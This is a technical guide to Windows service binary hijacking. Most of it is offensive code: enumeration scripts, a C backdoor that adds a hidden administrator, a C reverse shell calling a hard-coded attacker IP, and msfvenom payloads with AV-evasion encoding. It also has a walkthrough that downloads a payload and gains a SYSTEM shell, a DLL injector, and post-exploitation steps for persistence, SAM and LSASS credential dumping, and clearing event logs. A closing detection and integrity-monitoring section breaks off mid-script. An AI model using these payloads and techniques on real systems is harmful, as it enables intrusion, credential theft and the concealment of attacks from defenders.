Windows Service Binary Hijacking for Privilege Escalation

Exploiting weak Windows service binary permissions for privilege escalation, including detection methods, exploitation techniques, and hardening strategies.

Introduction

Service Binary Hijacking is a privilege escalation technique that exploits misconfigured file system permissions on Windows service executables. When a service binary or its parent directory has overly permissive access controls, attackers can replace the legitimate executable with a malicious one. Upon service restart or system reboot, the malicious binary executes with the privileges of the service account—often LocalSystem, granting complete control over the compromised system.

This vulnerability class differs from DLL hijacking or unquoted service paths in that it targets the service executable file directly. The attack vector is straightforward: identify a service running with elevated privileges, verify write access to its binary, replace it with malicious code, and trigger service execution. Despite its simplicity, service binary hijacking remains prevalent in enterprise environments due to poor software deployment practices and administrative oversight during application installations.

Service binary hijacking typically occurs in these scenarios:

Third-party applications installed with incorrect permissions
Custom in-house services deployed without security hardening
Legacy software migrated from older Windows versions
Rapid deployment scripts that prioritize functionality over security
Development and testing services promoted to production without review

Real-World Prevalence

Security assessments consistently reveal service binary hijacking opportunities in enterprise environments:

30-40% of penetration tests identify at least one exploitable service
Third-party applications account for 70% of vulnerable services
XAMPP, Jenkins, custom backup solutions are frequent offenders
Development/staging systems often have weaker permission controls
Even enterprise software from major vendors occasionally ships with misconfigurations

This remains a high-value target during post-exploitation due to its reliability and prevalence.

Technical Background

Windows Service Architecture

Windows services are long-running executable applications that operate in the background without user interaction. Understanding service architecture is essential for effective exploitation:

Service Control Manager (SCM): The SCM (services.exe) manages all Windows services, including:

Starting and stopping services
Querying service status
Configuring service parameters
Managing service dependencies
Enforcing security policies

Service Accounts: Services can run under various account contexts, each with different privilege levels:

Account Type	Privilege Level	Typical Use Cases	Security Impact
LocalSystem	Highest system privileges, no password	Core Windows services, drivers	Complete system control, kernel access
LocalService	Reduced privileges, network anonymous identity	Limited local functionality	Local file system, registry access
NetworkService	Network authentication capabilities	Web services, SQL Server	Domain authentication, network resources
Custom Domain Account	Configured privileges	Enterprise applications	Variable based on account permissions
Virtual Service Account	Isolated, auto-managed	Modern applications	Scoped to specific service
Group Managed Service Account (gMSA)	Domain-managed, automatic password rotation	Enterprise services	Enhanced security, automatic management

Service Binary Permissions

Windows implements Access Control Lists (ACLs) to control file system access. Understanding permission masks is critical for identifying exploitable services:

Windows Permission Masks Explained

icacls output uses these abbreviated permission masks:

Mask	Permission	Exploitation Relevance
(F)	Full Control	Complete control—read, write, execute, delete, change permissions
(M)	Modify	Write and delete files—sufficient for binary replacement
(RX)	Read & Execute	Normal user access—cannot exploit
(R)	Read-only	View contents only—cannot exploit
(W)	Write-only	Rare configuration—potentially exploitable

Special Identities often found in vulnerable configurations:

Everyone: Literally every user on the system
BUILTIN\Users: All authenticated users
NT AUTHORITY\Authenticated Users: Any logged-in user
NT AUTHORITY\Interactive: Users logged in locally or via RDP
BUILTIN\Power Users: Legacy group with elevated privileges

Inheritance Flags affect permission propagation:

(OI) - Object Inherit: Files created in directory inherit permission
(CI) - Container Inherit: Subdirectories inherit permission
(IO) - Inherit Only: Applies to children, not current object
(NP) - No Propagate: Don't propagate to children

Example vulnerable configuration:

C:\CustomApps\MyService\service.exe
    BUILTIN\Users:(I)(F)
    BUILTIN\Users:(OI)(CI)(F)

This grants Full Control to all users—completely exploitable.

Attack Prerequisites

Successful service binary hijacking requires these conditions:

Weak File Permissions: Write, Modify, or Full Control access to service binary or parent directory
Elevated Service Account: Service runs with higher privileges than attacker (typically LocalSystem/Administrator)
Service Restart Capability: Ability to restart service or wait for system reboot
Local System Access: Shell access to the target system (user-level is sufficient)

Why This Happens

Service binary hijacking vulnerabilities typically arise from:

Installer mistakes: Application installers grant broad permissions for "compatibility"
Manual deployments: Administrators copy files without considering ACLs
Permission inheritance: Parent directory permissions propagate to service binaries
Legacy upgrades: Old applications retain insecure permissions after migration
Testing artifacts: Development/test configurations deployed to production

The vulnerability persists because it functions correctly despite insecurity—services run normally, so the misconfiguration goes unnoticed until exploited.

Detection and Enumeration

PowerShell Enumeration

Identify vulnerable services using PowerShell:

# Method 1: Basic service enumeration with permission checks
Get-CimInstance -ClassName win32_service | ForEach-Object {
    $serviceName = $_.Name
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    $serviceAccount = $_.StartName
    $serviceState = $_.State

    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        try {
            $acl = Get-Acl $servicePath -ErrorAction Stop
            $writable = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|FullControl|Modify') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($writable) {
                [PSCustomObject]@{
                    ServiceName = $serviceName
                    ServicePath = $servicePath
                    ServiceAccount = $serviceAccount
                    ServiceState = $serviceState
                    VulnerableACE = ($writable | ForEach-Object { "$($_.IdentityReference): $($_.FileSystemRights)" }) -join '; '
                }
            }
        }
        catch { }
    }
}

# Method 2: Check directory permissions (parent directory writable = binary replaceable)
Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    $serviceDir = Split-Path $servicePath -Parent

    if (Test-Path $serviceDir -ErrorAction SilentlyContinue) {
        try {
            $acl = Get-Acl $serviceDir -ErrorAction Stop
            $writable = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|FullControl|Modify') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($writable) {
                [PSCustomObject]@{
                    ServiceName = $_.Name
                    ServiceDirectory = $serviceDir
                    ServiceAccount = $_.StartName
                    DirectoryPermission = ($writable | Select-Object -First 1).FileSystemRights
                    Identity = ($writable | Select-Object -First 1).IdentityReference
                }
            }
        }
        catch { }
    }
} | Format-Table -AutoSize

# Method 3: Filter for high-value targets (LocalSystem services only)
Get-CimInstance -ClassName win32_service |
    Where-Object { $_.StartName -eq 'LocalSystem' -or $_.StartName -like '*Admin*' } |
    ForEach-Object {
        $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''

        if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
            $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
            try {
                # Test actual write capability
                $testFile = "$servicePath.test"
                [System.IO.File]::WriteAllText($testFile, "test")
                Remove-Item $testFile -Force -ErrorAction SilentlyContinue

                [PSCustomObject]@{
                    ServiceName = $_.Name
                    ServicePath = $servicePath
                    ServiceAccount = $_.StartName
                    WriteTest = "SUCCESS"
                    CurrentUser = $currentUser
                }
            }
            catch {
                # Silently skip non-writable
            }
        }
    }

Command Line Enumeration

For restricted environments where PowerShell is blocked:

:: Enumerate all services
sc query state= all > services.txt

:: Check each service binary permissions
for /f "tokens=2 delims=:" %a in ('sc query state^= all ^| findstr /i "SERVICE_NAME"') do @(
    echo Checking: %a
    sc qc %a | findstr /i "BINARY_PATH_NAME"
)

:: Using wmic for service paths
wmic service get name,pathname,startname,startmode | findstr /i /v "C:\Windows"

:: Check specific service binary permissions
icacls "C:\Program Files\VulnerableApp\service.exe"

:: Check directory permissions
icacls "C:\Program Files\VulnerableApp"

Automated Enumeration Tools

# PowerUp - Part of PowerSploit
# Download: https://github.com/PowerShellMafia/PowerSploit

# Load module
Import-Module .\PowerUp.ps1

# Run all checks (includes service binary checks)
Invoke-AllChecks

# Specific service binary permission check
Get-ModifiableServiceFile

# Output example:
# ServiceName      : VulnerableService
# Path             : C:\Apps\Vulnerable\service.exe
# ModifiableFile   : C:\Apps\Vulnerable\service.exe
# ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize...}
# ModifiableFileIdentityReference: BUILTIN\Users
# StartName        : LocalSystem
# AbuseFunction    : Install-ServiceBinary -Name 'VulnerableService' -Path <HijackPath>
# CanRestart       : True

# Auto-exploitation (use with caution)
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'backdoor' -Password 'P@ssw0rd123!'

# WinPEAS - Windows Privilege Escalation Awesome Scripts
# Download: https://github.com/carlospolop/PEASS-ng/releases

# Execute with service checks
.\winPEASx64.exe quiet servicesinfo

# Output includes:
#   [+] Interesting Services -non Microsoft-
#
#   VulnerableService(Company Name)["C:\Apps\service.exe"] - Auto - Running - LocalSystem
#     File Permissions: BUILTIN\Users [AllAccess]
#     Possible Binary Hijacking: C:\Apps\service.exe
#     YOU CAN MODIFY THIS SERVICE: Write service backdoor

# Full system check (more comprehensive)
.\winPEASx64.exe systeminfo servicesinfo

# Save output to file
.\winPEASx64.exe quiet servicesinfo > winpeas_output.txt

# SharpUp - C# privilege escalation checker
# Download: https://github.com/GhostPack/SharpUp

# Run all audits
.\SharpUp.exe audit

# Specific service binary check
.\SharpUp.exe audit ModifiableServices

# Output format:
# === Modifiable Service Binaries ===
#
# Name           : VulnerableService
# DisplayName    : Vulnerable Service
# Description    : Example vulnerable service
# State          : Running
# StartMode      : Auto
# PathName       : C:\Apps\Vulnerable\service.exe
# CanRestart     : True

# JSON output for parsing
.\SharpUp.exe audit ModifiableServices -outputfile=results.json

# Windows-Privesc-Check - Python script
# Download: https://github.com/pentestmonkey/windows-privesc-check

# Run service checks
python windows-privesc-check2.exe --audit -a -o report.txt

# PowerShell port
. .\windows-privesc-check.ps1
Invoke-PrivescCheck

# Look for output:
# [!] Weak Service Binary Permissions
# Service: VulnerableService
# Binary: C:\Apps\service.exe
# Permissions: BUILTIN\Users has Modify access
# Service Account: LocalSystem
# Risk: HIGH - Service binary can be replaced

Manual Permission Analysis

Detailed permission checking for identified services:

# Comprehensive permission analysis script
function Test-ServiceBinaryWritable {
    param(
        [string]$ServiceName
    )

    $service = Get-CimInstance -ClassName win32_service -Filter "Name='$ServiceName'"
    if (-not $service) {
        Write-Host "[-] Service not found: $ServiceName" -ForegroundColor Red
        return
    }

    $servicePath = ($service.PathName -split ' -')[0] -replace '"', ''
    $serviceDir = Split-Path $servicePath -Parent

    Write-Host "`n[*] Analyzing Service: $ServiceName" -ForegroundColor Cyan
    Write-Host "    Binary: $servicePath" -ForegroundColor Gray
    Write-Host "    Account: $($service.StartName)" -ForegroundColor Gray
    Write-Host "    State: $($service.State)" -ForegroundColor Gray
    Write-Host "    Start Mode: $($service.StartMode)" -ForegroundColor Gray

    # Check binary permissions
    if (Test-Path $servicePath) {
        Write-Host "`n[*] Binary Permissions:" -ForegroundColor Cyan
        $acl = Get-Acl $servicePath
        $acl.Access | Where-Object {
            $_.AccessControlType -eq 'Allow'
        } | ForEach-Object {
            $color = if ($_.FileSystemRights -match 'Write|Modify|FullControl' -and
                         $_.IdentityReference -match 'Users|Everyone|Authenticated') {
                'Red'
            } else {
                'Gray'
            }
            Write-Host "    $($_.IdentityReference): $($_.FileSystemRights)" -ForegroundColor $color
        }
    }

    # Check directory permissions
    if (Test-Path $serviceDir) {
        Write-Host "`n[*] Directory Permissions ($serviceDir):" -ForegroundColor Cyan
        $dirAcl = Get-Acl $serviceDir
        $dirAcl.Access | Where-Object {
            $_.AccessControlType -eq 'Allow'
        } | ForEach-Object {
            $color = if ($_.FileSystemRights -match 'Write|Modify|FullControl' -and
                         $_.IdentityReference -match 'Users|Everyone|Authenticated') {
                'Red'
            } else {
                'Gray'
            }
            Write-Host "    $($_.IdentityReference): $($_.FileSystemRights)" -ForegroundColor $color
        }
    }

    # Check restart capability
    Write-Host "`n[*] Restart Capability:" -ForegroundColor Cyan
    try {
        $canStop = (Get-Service -Name $ServiceName).CanStop
        $canRestart = $canStop

        if ($canRestart) {
            Write-Host "    Can restart: YES" -ForegroundColor Green
        } else {
            Write-Host "    Can restart: NO (may require reboot)" -ForegroundColor Yellow
        }
    }
    catch {
        Write-Host "    Can restart: UNKNOWN" -ForegroundColor Yellow
    }

    # Test actual write access
    Write-Host "`n[*] Write Access Test:" -ForegroundColor Cyan
    try {
        $backupPath = "$servicePath.bak"
        Copy-Item $servicePath $backupPath -ErrorAction Stop
        Remove-Item $backupPath -Force -ErrorAction Stop
        Write-Host "    Binary is WRITABLE" -ForegroundColor Red
        Write-Host "    [!] EXPLOITABLE!" -ForegroundColor Red -BackgroundColor Black
    }
    catch {
        Write-Host "    Binary is NOT writable" -ForegroundColor Green
    }
}

# Usage
Test-ServiceBinaryWritable -ServiceName "VulnerableService"

Service Restart Permission Check

Verify ability to restart services:

# Check service control permissions
function Get-ServiceRestartPermission {
    param([string]$ServiceName)

    # Get service security descriptor
    $sdString = & sc.exe sdshow $ServiceName 2>&1

    if ($LASTEXITCODE -ne 0) {
        Write-Host "[-] Cannot query service: $ServiceName" -ForegroundColor Red
        return
    }

    Write-Host "[*] Service Security Descriptor:" -ForegroundColor Cyan
    Write-Host "    $sdString" -ForegroundColor Gray

    # Parse SDDL
    # RP = SERVICE_START, WP = SERVICE_STOP
    if ($sdString -match 'RP' -and $sdString -match 'WP') {
        Write-Host "[+] Current user can START and STOP service" -ForegroundColor Green
    }
    elseif ($sdString -match 'RP') {
        Write-Host "[~] Current user can START service only" -ForegroundColor Yellow
    }
    elseif ($sdString -match 'WP') {
        Write-Host "[~] Current user can STOP service only" -ForegroundColor Yellow
    }
    else {
        Write-Host "[-] Current user cannot control service" -ForegroundColor Red
        Write-Host "    Exploitation requires system reboot" -ForegroundColor Yellow
    }

    # Direct test
    try {
        $service = Get-Service -Name $ServiceName -ErrorAction Stop
        if ($service.Status -eq 'Running') {
            Stop-Service -Name $ServiceName -WhatIf -ErrorAction Stop
            Write-Host "[+] Stop permission: CONFIRMED" -ForegroundColor Green
        }
        Start-Service -Name $ServiceName -WhatIf -ErrorAction Stop
        Write-Host "[+] Start permission: CONFIRMED" -ForegroundColor Green
    }
    catch {
        Write-Host "[-] Service control test failed: $($_.Exception.Message)" -ForegroundColor Red
    }
}

# Usage
Get-ServiceRestartPermission -ServiceName "VulnerableService"

Exploitation Techniques

Basic Exploitation Workflow

Identify Vulnerable Service

Use enumeration tools to find services with writable binaries running as LocalSystem or Administrator.

Backup Original Binary

Always preserve the original service executable for potential restoration.

Create Malicious Payload

Generate or compile a malicious binary matching the architecture of the target system.

Replace Service Binary

Copy the malicious executable over the legitimate service binary.

Restart Service

Stop and start the service to trigger execution, or wait for system reboot.

Verify Privilege Escalation

Confirm successful exploitation through backdoor access or elevated shell.

Restore Original Binary (Optional)

Replace malicious binary with original to restore normal service function.

Payload Creation

User Account Backdoor

Simple payload that creates an administrative user:

// adduser.c - Creates hidden administrative account
#include <stdlib.h>
#include <stdio.h>

int main() {
    // Create user account
    int result = system("net user backdoor P@ssw0rd123! /add");
    if (result != 0) {
        return 1;
    }

    // Add to administrators group
    result = system("net localgroup administrators backdoor /add");
    if (result != 0) {
        return 1;
    }

    // Hide from login screen
    system("reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v backdoor /t REG_DWORD /d 0 /f");

    // Enable RDP (if desired)
    system("reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f");
    system("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes");

    return 0;
}

Compile on Linux:

# 64-bit Windows
x86_64-w64-mingw32-gcc adduser.c -o service.exe

# 32-bit Windows
i686-w64-mingw32-gcc adduser.c -o service.exe

# Verify architecture
file service.exe

Reverse Shell Payload

Interactive shell for immediate access:

// reverse_shell.c - Windows reverse TCP shell
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")

#define ATTACKER_IP "10.10.14.5"
#define ATTACKER_PORT 4444

int main() {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    char recv_buffer[1024];

    // Initialize Winsock
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    // Create socket
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET) {
        return 1;
    }

    // Configure server address
    server.sin_family = AF_INET;
    server.sin_port = htons(ATTACKER_PORT);
    server.sin_addr.s_addr = inet_addr(ATTACKER_IP);

    // Connect to attacker
    if (connect(sock, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) {
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    // Prepare process startup info
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    // Spawn cmd.exe with redirected I/O
    CreateProcess(
        NULL,
        "cmd.exe",
        NULL,
        NULL,
        TRUE,
        0,
        NULL,
        NULL,
        &si,
        &pi
    );

    // Wait for process to complete
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Cleanup
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    closesocket(sock);
    WSACleanup();

    return 0;
}

Compile and setup listener:

# Compile
x86_64-w64-mingw32-gcc reverse_shell.c -o service.exe -lws2_32 -s

# Start listener
nc -lvnp 4444

# Or use multi/handler in Metasploit
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"

MSFVenom Payloads

Generate various payloads using Metasploit:

# Basic reverse TCP shell
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -o service.exe

# Meterpreter reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -o service.exe

# Reverse HTTPS (evades some network inspection)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.10.14.5 \
    LPORT=443 \
    -f exe \
    -o service.exe

# Encoded payload (basic AV evasion)
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -e x64/xor_dynamic \
    -i 10 \
    -o service.exe

# Start listener
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"

Complete Exploitation Example

Full walkthrough from detection to exploitation:

# Step 1: Enumerate vulnerable services
PS C:\> Get-CimInstance -ClassName win32_service |
    Where-Object { $_.StartName -eq 'LocalSystem' } |
    ForEach-Object {
        $path = ($_.PathName -split ' -')[0] -replace '"', ''
        if (Test-Path $path -ErrorAction SilentlyContinue) {
            try {
                $testFile = "$path.test"
                [System.IO.File]::WriteAllText($testFile, "test")
                Remove-Item $testFile -Force
                [PSCustomObject]@{
                    Name = $_.Name
                    Path = $path
                    State = $_.State
                }
            }
            catch { }
        }
    }

# Output:
# Name              Path                                    State
# ----              ----                                    -----
# VulnService       C:\Apps\VulnService\service.exe        Running

# Step 2: Analyze service details
PS C:\> $service = Get-CimInstance -ClassName win32_service -Filter "Name='VulnService'"
PS C:\> $service | Select-Object Name, StartName, State, StartMode, PathName

# Name        : VulnService
# StartName   : LocalSystem
# State       : Running
# StartMode   : Auto
# PathName    : C:\Apps\VulnService\service.exe

# Step 3: Check permissions
PS C:\> icacls "C:\Apps\VulnService\service.exe"

# C:\Apps\VulnService\service.exe BUILTIN\Users:(F)
#                                  NT AUTHORITY\SYSTEM:(F)
#                                  BUILTIN\Administrators:(F)

# Step 4: Backup original binary
PS C:\> Copy-Item "C:\Apps\VulnService\service.exe" -Destination "C:\Users\user\service.exe.bak"

# Step 5: Transfer malicious payload
# On attacker machine:
# python3 -m http.server 8080

# On target:
PS C:\> Invoke-WebRequest -Uri http://10.10.14.5:8080/service.exe -OutFile C:\Users\user\malicious.exe

# Step 6: Replace service binary
PS C:\> Stop-Service -Name VulnService
PS C:\> Copy-Item C:\Users\user\malicious.exe -Destination "C:\Apps\VulnService\service.exe" -Force

# Step 7: Start service
PS C:\> Start-Service -Name VulnService

# Step 8: Verify exploitation
# If using adduser payload:
PS C:\> net user backdoor
# User name                    backdoor
# Full Name
# Local Group Memberships      *Administrators       *Users

# If using reverse shell, check listener

On attacker machine with reverse shell:

# Start listener
└─$ nc -lvnp 4444
listening on [any] 4444 ...

# After service starts
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.45] 49826
Microsoft Windows [Version 10.0.19044.1234]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token  Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas           Enabled
SeSecurityPrivilege           Manage auditing and security   Enabled
SeTakeOwnershipPrivilege      Take ownership of files        Enabled
SeLoadDriverPrivilege         Load and unload device drivers Enabled
[...]

Alternative Exploitation Methods

// proxy.c - Calls original binary after executing payload
#include <windows.h>
#include <stdio.h>

int main() {
    // Execute payload first
    system("net user hacker P@ssw0rd! /add");
    system("net localgroup administrators hacker /add");

    // Call original service binary
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    CreateProcess(
        "C:\\Apps\\VulnService\\service_original.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &si,
        &pi
    );

    // Wait and cleanup
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

Deployment:

# Rename original
Move-Item "C:\Apps\VulnService\service.exe" "C:\Apps\VulnService\service_original.exe"

# Deploy proxy
Copy-Item proxy.exe "C:\Apps\VulnService\service.exe"

# Service continues functioning normally
Restart-Service VulnService

# Create wrapper that restores service after exploitation

# 1. Original binary backup
$originalPath = "C:\Apps\VulnService\service.exe"
$backupPath = "C:\Apps\VulnService\service_backup.exe"
Copy-Item $originalPath $backupPath

# 2. Deploy payload
Copy-Item malicious.exe $originalPath

# 3. Create scheduled task to restore
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-Command `"Start-Sleep -Seconds 60; Copy-Item '$backupPath' '$originalPath' -Force`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1)
Register-ScheduledTask -TaskName "ServiceRestore" -Action $action -Trigger $trigger

# 4. Restart service
Restart-Service VulnService

# Service executes malicious payload once, then auto-restores

// injector.c - Inject DLL into service process
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

DWORD FindProcessId(const char *processname) {
    HANDLE hSnapshot;
    PROCESSENTRY32 pe;
    DWORD pid = 0;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pe.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe)) {
        do {
            if (strcmp(pe.szExeFile, processname) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe));
    }

    CloseHandle(hSnapshot);
    return pid;
}

int InjectDLL(DWORD pid, const char *dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return 0;

    LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1,
                                       MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, pRemoteBuf, dllPath, strlen(dllPath) + 1, NULL);

    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    LPVOID pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                       (LPTHREAD_START_ROUTINE)pLoadLibrary,
                                       pRemoteBuf, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    return 1;
}

int main() {
    // Wait for target service to start
    Sleep(5000);

    DWORD pid = FindProcessId("service.exe");
    if (pid) {
        InjectDLL(pid, "C:\\Windows\\Temp\\payload.dll");
    }

    return 0;
}

# Don't replace binary, schedule privileged execution instead

# If you have write access to service directory but not binary:
$serviceDir = "C:\Apps\VulnService"

# Place payload in service directory
Copy-Item payload.exe "$serviceDir\update.exe"

# If service has companion scheduled task or runs child processes,
# those might execute with same privileges

# Check for config files that specify executables
Get-ChildItem $serviceDir -Filter *.config | Select-String -Pattern "\.exe"

# Example: service.exe.config might contain:
# <updateExecutable>update.exe</updateExecutable>

# Replace update.exe with malicious binary
# Service executes it during next update check

Post-Exploitation

Establishing Persistence

After gaining SYSTEM access, establish multiple persistence mechanisms:

# 1. Create hidden administrative account
net user svcadmin "P@ssw0rd123!ComplexAndLong" /add /y
net localgroup administrators svcadmin /add

# Hide from login screen and user enumeration
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v svcadmin /t REG_DWORD /d 0 /f

# 2. Create additional service backdoor
sc create "WindowsUpdateService" binPath= "C:\Windows\System32\backdoor.exe" start= auto
sc description "WindowsUpdateService" "Provides update management services"

# 3. Registry Run key
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Windows\System32\backdoor.exe" /f

# 4. Scheduled task (survives reboots)
schtasks /create /tn "Microsoft\Windows\UpdateOrchestrator\Backup Scan" /tr "C:\Windows\System32\backdoor.exe" /sc onstart /ru SYSTEM /f

# 5. WMI event subscription
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "SystemUpdate"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "SystemUpdateConsumer"
    CommandLineTemplate = "C:\Windows\System32\backdoor.exe"
}

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Credential Harvesting

Extract credentials for lateral movement:

# Dump SAM database
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save

# Extract NTLM hashes (using Impacket on attacker machine)
# impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

# Dump LSASS memory (if AV permits)
# Upload Mimikatz or use built-in tools
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\Temp\lsass.dmp full

# Search for credentials in common locations
Get-ChildItem C:\ -Recurse -Include *.txt,*.ini,*.config,*.xml -ErrorAction SilentlyContinue | Select-String -Pattern "password"

# Check for stored credentials
cmdkey /list

Covering Tracks

Minimize forensic evidence:

# Clear event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Delete specific event entries (requires script)
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4688 -and $_.TimeGenerated -gt (Get-Date).AddHours(-1)} | ForEach-Object { Remove-EventLog -LogName Security -Source $_.Source -InstanceId $_.InstanceId }

# Remove file artifacts
Remove-Item C:\Windows\Temp\*.exe -Force
Remove-Item C:\Windows\Temp\*.dll -Force
Remove-Item C:\Users\*\AppData\Local\Temp\*.exe -Force

# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue

# Timestomp replaced binary (requires external tool)
# Restore original timestamps to service binary

Detection and Monitoring

Event Log Monitoring

Monitor for service binary modification:

# Enable file system auditing on service directories
$path = "C:\Program Files"
$acl = Get-Acl $path
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "Write,Delete,DeleteSubdirectoriesAndFiles,ChangePermissions,TakeOwnership",
    "ContainerInherit,ObjectInherit",
    "None",
    "Success,Failure"
)
$acl.AddAuditRule($auditRule)
Set-Acl $path $acl

# Query Security event log for file modifications
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4663
} | Where-Object {
    $_.Properties[6].Value -match 'service\.exe' -and
    $_.Properties[8].Value -match 'WriteData|DELETE'
} | Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}, @{N='File';E={$_.Properties[6].Value}}

# Monitor service start/stop events
Get-WinEvent -FilterHashtable @{
    LogName='System'
    ID=7036,7040
} | Select-Object TimeCreated, Message | Format-Table -Wrap

# Detect service binary changes
Get-WinEvent -FilterHashtable @{
    LogName='System'
    ID=7045
} | Where-Object {
    $_.Message -notmatch 'C:\\Windows'
}

File Integrity Monitoring

Implement FIM for critical service binaries:

# Create baseline of all service binaries
$baseline = Get-CimInstance -ClassName win32_service | ForEach-Object {
    $path = ($_.PathName -split ' -')[0] -replace '"', ''
    if (Test-Path $path -ErrorAction SilentlyContinue) {
        $hash = (Get-FileHash $path -Algorithm SHA256).Hash
        [PSCustomObject]@{
            ServiceName = $_.Name
            Path = $path
            Hash = $hash
            LastModified = (Get-Item $path).LastWriteTime
        }
    }
} | Export-Csv C:\Security\service_baseline.csv -NoTypeInformation

# Scheduled integrity check
$baseline = Import-Csv C:\Security\service_baseline.csv
$alerts = @()

foreach ($entry in $baseline) {
    if (Test-Path $entry.Path) {
        $currentHash = (Get-FileHash $entry.Path -Algorithm SHA256).Hash
        if ($currentHash -ne $entry.Hash) {
            $alerts += [PSCustomObject]@{
                ServiceName = $entry.ServiceName
                Path = $entry.Path
                BaselineHash = $entry.Hash
                CurrentHash = $currentHash
                Status = "MODIFIED"
            }
        }
    }
    else {
        $alerts += [PSCustomObject]@{
            ServiceName = $entry.ServiceName
            Path = $entry.Path
            Status = "DELETED"
        }
    }
}

if ($alerts.Count -gt 0) {
    # Send alert
